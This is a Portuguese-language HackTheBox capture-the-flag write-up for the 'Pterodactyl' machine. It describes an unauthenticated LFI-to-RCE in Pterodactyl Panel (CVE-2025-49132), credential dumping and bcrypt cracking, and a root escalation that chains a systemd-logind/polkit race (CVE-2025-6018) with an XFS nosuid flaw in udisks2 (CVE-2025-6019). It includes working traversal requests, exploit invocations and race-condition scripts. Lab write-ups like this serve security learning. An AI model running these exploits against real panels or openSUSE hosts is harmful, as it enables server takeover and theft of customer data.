Avatar oficial da máquina Pterodactyl no HackTheBox

Pterodactyl

Plataforma
HackTheBox
Dificuldade
Medium
Sistema
Linux

Categorias Web · Privesc · Lateral Movement

Máquina Linux Medium (openSUSE Leap 15.6) com Pterodactyl Panel v1.11.10 vulnerável a LFI→RCE não autenticado (CVE-2025-49132). Depois do foothold como wwwrun, credenciais MySQL extraídas via LFI dumpam a tabela users e o hash bcrypt do phileasfogg3 quebra com a wordlist rockyou.txt. A escalação encadeia dois CVEs do OpenSUSE 15: polkit allow_active via race no systemd-logind (CVE-2025-6018) e montagem XFS sem nosuid pelo libblockdev (CVE-2025-6019).

Recon

Port scan

rustscan -a pterodactyl.htb -- -sV
Saída do rustscan mostrando ssh 22 e nginx 80
Apenas SSH e HTTP expostos.

Apenas SSH e HTTP. O nginx serve uma página estática de servidor Minecraft em redirect 302 para pterodactyl.htb.

curl -I http://<TARGET_IP>/
curl -I retornando 302 redirect para http://pterodactyl.htb/
302 Moved — vhost obrigatório.
página estática 'MonitorLand' — servidor Minecraft fictício
Homepage MonitorLand — sem funcionalidade explorável.

Vhost Enumeration

A página principal em pterodactyl.htb não revelou funcionalidade. Enumeração de vhosts identificou panel.pterodactyl.htb, que serve o Pterodactyl Panel v1.11.10 — painel de gerenciamento de servidores de jogos.

ffuf -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 145 -mc 200
ffuf vhost enumeration revelando 'panel' como vhost válido
Subdomínio panel descoberto por diferença de Content-Length.

O painel administrativo:

página de login do Pterodactyl Panel v1.11.10
Pterodactyl Panel v1.11.10 — versão vulnerável a CVE-2025-49132.

Foothold

O Pterodactyl Panel v1.11.10 é vulnerável a CVE-2025-49132 — um LFI não autenticado no endpoint /locales/locale.json. Os parâmetros locale e namespace são passados diretamente a include() do PHP sem sanitização, permitindo path traversal.

LFI — config extraction

curl -s "http://panel.pterodactyl.htb/locales/locale.json?locale=../../../pterodactyl&namespace=config/database" | jq
Burp Repeater — request com path traversal e response JSON com config de database (username/password MySQL)
Burp Repeater: traversal no request, config/database vaza as credenciais MySQL em claro na response.

Credenciais MySQL extraídas: pterodactyl:PteraPanel.

RCE via PEAR pearcmd.php

O LFI combinado com pearcmd.php (presente em /usr/share/php/PEAR/pearcmd.php) permite escrita de arquivos PHP arbitrários e RCE. O exploit faz duas chamadas: a primeira passa +config-create+/ ao pearcmd para escrever um payload PHP em /tmp/<random>.php, a segunda include-o via path traversal.

python3 exploit.py http://panel.pterodactyl.htb --pear-dir /usr/share/php/PEAR --rce-cmd "id"
exploit.py output — TARGET IS VULNERABLE seguido de uid=474(wwwrun)
RCE confirmado como wwwrun (conta de serviço do nginx/PHP no openSUSE).

Lateral Movement

MySQL — hash extraction

Com as credenciais MySQL extraídas via LFI, dumpei a tabela users através do RCE (como wwwrun), forçando TCP via -h 127.0.0.1 porque o usuário pterodactyl está restrito a esse host, não localhost:

mysql -h127.0.0.1 -upterodactyl -pPteraPanel panel -e "SELECT username,password FROM users"
dump da tabela users via mysql — 2 hashes bcrypt: headmonitor e phileasfogg3
Dois hashes bcrypt extraídos — headmonitor e phileasfogg3.

Hash cracking

hashcat -m 3200 phileasfogg3.bcrypt /usr/share/wordlists/rockyou.txt
hashcat output — bcrypt Status Cracked, password recovered em 2m6s
Senha do phileasfogg3 quebrada com rockyou.txt.

SSH as phileasfogg3

ssh phileasfogg3@pterodactyl.htb
ssh login + id mostrando uid=1002(phileasfogg3) + ls -la ~/user.txt
Sessão SSH estabelecida. Flag de user em /home/phileasfogg3/user.txt.

Com acesso como phileasfogg3, obtive a flag de user em /home/phileasfogg3/user.txt.

Privilege Escalation

Encadeei dois CVEs do stack OpenSUSE 15 publicados pela Qualys em junho de 2025: CVE-2025-6018 (escalação para allow_active no polkit) e CVE-2025-6019 (udisks2/libblockdev montando XFS sem nosuid).

  • CVE-2025-6018 — o polkit concede allow_active a sessões que o pam_systemd registra num seat local (seat0). Uma sessão SSH normal fica em seat vazio (Type=tty, Remote=yes), então o gdbus CanReboot responde challenge. Para forçar seat0, abri dezenas de sessões SSH concorrentes: o logind ocasionalmente registra uma delas em seat0, e essa sessão passa a ser tratada como fisicamente presente (allow_active=yes).
  • CVE-2025-6019 — a partir de uma sessão allow_active, o libblockdev (chamado pelo udisks2 para Filesystem.Resize) monta temporariamente o XFS de um loop device sem a flag nosuid. Com um binário SUID-root dentro da imagem, a execução durante a janela de montagem dá euid=0.

Existe um vetor alternativo para allow_active que planta XDG_SEAT/XDG_VTNR em ~/.pam_environment (lido pelo pam_env). Na imagem atual da box ele não funciona: o pam_env roda depois do pam_systemd no common-session e o user_readenv está desligado, então o arquivo é ignorado. Por isso o caminho aqui é a race no logind, que entrega o mesmo allow_active da CVE-2025-6018 sem depender da injeção via PAM.

Phase 1 — XFS image (attacker)

O mkfs.xfs recente do Kali cria imagens com features que o libblockdev no openSUSE 15.6 rejeita (rmapbt=1, exchange=1, parent=1, bigtime=1, inobtcount=1, nrext64=1). É preciso forçar layout legacy:

dd if=/dev/zero of=/tmp/xfs.image bs=1M count=300 status=none
mkfs.xfs -f -m crc=1,finobt=1,rmapbt=0,reflink=1,bigtime=0,inobtcount=0 -i sparse=1,nrext64=0,exchange=0 -n parent=0 /tmp/xfs.image
output de dd + mkfs.xfs mostrando o layout XFS legacy (crc=1, rmapbt=0, bigtime=0, inobtcount=0, nrext64=0, exchange=0, parent=0)
Imagem XFS de 300 MB com layout legacy aceito pelo libblockdev do openSUSE 15.6.

Depois montei a imagem, copiei para dentro o bash do próprio target (mesma glibc, obtido via scp phileasfogg3@pterodactyl.htb:/bin/bash), liguei o bit SUID e desmontei:

sudo mount -t xfs /tmp/xfs.image /mnt/xfs
sudo cp ./bash-target /mnt/xfs/bash
sudo chmod u+s /mnt/xfs/bash
sudo umount /mnt/xfs

Transferi a imagem (300 MB) para /tmp/xfs.image na box via rsync -z (compressão sobre a VPN).

Phase 2 — allow_active via race no logind (CVE-2025-6018)

Numa sessão SSH normal a sessão é tty sem seat, e o polkit pede auth interativa — gdbus CanReboot responde challenge:

loginctl Type=tty e gdbus CanReboot retornando 'challenge' — polkit pede auth
Baseline: sessão SSH em seat vazio, polkit trata como challenge (não-active).

Para forçar seat0, disparei dezenas de sessões SSH concorrentes. Sob essa concorrência o systemd-logind registra uma das sessões em seat0, e essa sessão passa a ser allow_active:

for i in $(seq 1 70); do
    sshpass -p '!QAZ2wsx' ssh -tt phileasfogg3@pterodactyl.htb 'if [ "$(loginctl show-session self -p Seat --value)" = seat0 ]; then <exploit>; fi' &
done

Na sessão que ganha seat0, o gdbus CanReboot passa a retornar 'yes':

loginctl Seat=seat0 e gdbus CanReboot agora retorna 'yes'
A sessão que ganhou seat0 é tratada como active. allow_active=yes confirmado.

Phase 3 — XFS resize → root (CVE-2025-6019)

Tudo o que segue roda dentro da sessão que ganhou seat0. Mapeei a imagem como loop device (precisa de allow_active), disparei workers que copiam o bash SUID-root assim que o XFS é montado, e dei o Filesystem.Resize em loop até um worker capturar a janela de montagem sem nosuid:

killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null
LOOP=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -oE '/dev/loop[0-9]+')

for w in $(seq 1 50); do
    ( while [ ! -f /tmp/rootsh ]; do for b in /tmp/blockdev.*/bash; do
        [ -e "$b" ] && "$b" -p -c 'T=/tmp/.rb$$; cp /bin/bash $T; chown 0:0 $T; chmod 4755 $T; mv -f $T /tmp/rootsh'
      done; done ) &
done

for t in $(seq 1 60); do
    [ -f /tmp/rootsh ] && break
    gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/$(basename $LOOP) --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done

O udisks2 monta o XFS em /tmp/blockdev.XXXX/ sem nosuid e tenta desmontar logo após o xfs_growfs; na janela curta, um worker copia o bash para /tmp/rootsh com euid=0. O resultado é um bash SUID-root permanente:

/tmp/rootsh -p -c 'id; ls -la /root/root.txt'
udisksctl loop-setup + /tmp/rootsh -p mostrando euid=0(root) e ls -la /root/root.txt
euid=0 dentro do bash SUID-root — CVE-2025-6019 confirmado.

euid=0(root) — CVE-2025-6019 confirmado. Com o bash SUID-root, li a flag em /root/root.txt.

Lessons Learned

  • MySQL localhost vs 127.0.0.1: o MariaDB resolve localhost para Unix socket; se o GRANT é user@'127.0.0.1', é preciso forçar TCP. Confundir os dois custa tempo de debug.
  • O vetor do CVE-2025-6018 depende da config exata do PAM. A variante via pam_env (plantar XDG_SEAT/XDG_VTNR em ~/.pam_environment) só funciona se o pam_env rodar antes do pam_systemd e o user_readenv estiver ligado. Quando a ordem é invertida, o arquivo é ignorado — mas o mesmo allow_active sai de uma race no systemd-logind. Vale validar com grep pam_systemd /etc/pam.d/common-session antes de assumir o vetor.
  • Compatibilidade XFS atacante↔alvo: xfsprogs ≥ 6.0 habilita features (rmapbt, exchange, parent, bigtime, inobtcount, nrext64) que o libblockdev no openSUSE Leap 15.6 não suporta. Forçar layout legacy é obrigatório, e o bash dentro da imagem deve vir do próprio alvo (mesma glibc).
  • A janela do xfs_growfs é curta e disputada: o udisks2 monta sem nosuid, cresce o filesystem e desmonta em milissegundos. Vários workers + Filesystem.Resize em loop maximizam a chance de capturar a janela; o cp do bash precisa de mv atômico para não ser corrompido por escritas concorrentes.

Impact

  • Um provedor de hospedagem de game servers concentra muitos clientes num só host; aqui o atacante compromete o painel inteiro e, com ele, todos os servidores de jogo geridos e os dados dos jogadores (contas, pagamentos, mundos salvos).
  • O vazamento do banco e do código-fonte da aplicação expõe a base de clientes inteira de uma vez — um cenário de extorsão ou ransomware multi-tenant.

Exploits

Os scripts usados estão em Programming/htb/pterodactyl:

  • cve-2025-49132.py — LFI→RCE no Pterodactyl Panel (check de versão, leak de config/database, RCE via PEAR pearcmd.php).
  • build-xfs-image.sh — monta a imagem XFS legacy com bash SUID-root dentro (CVE-2025-6019, phase 1).
  • cve-2025-6018-race.sh — abre sessões SSH concorrentes para ganhar seat0/allow_active via race no logind.
  • cve-2025-6019-resize.shloop-setup + sustain + Filesystem.Resizebash SUID-root.

References

Acta
Medalha de São Bento — Crux Sancti Patris Benedicti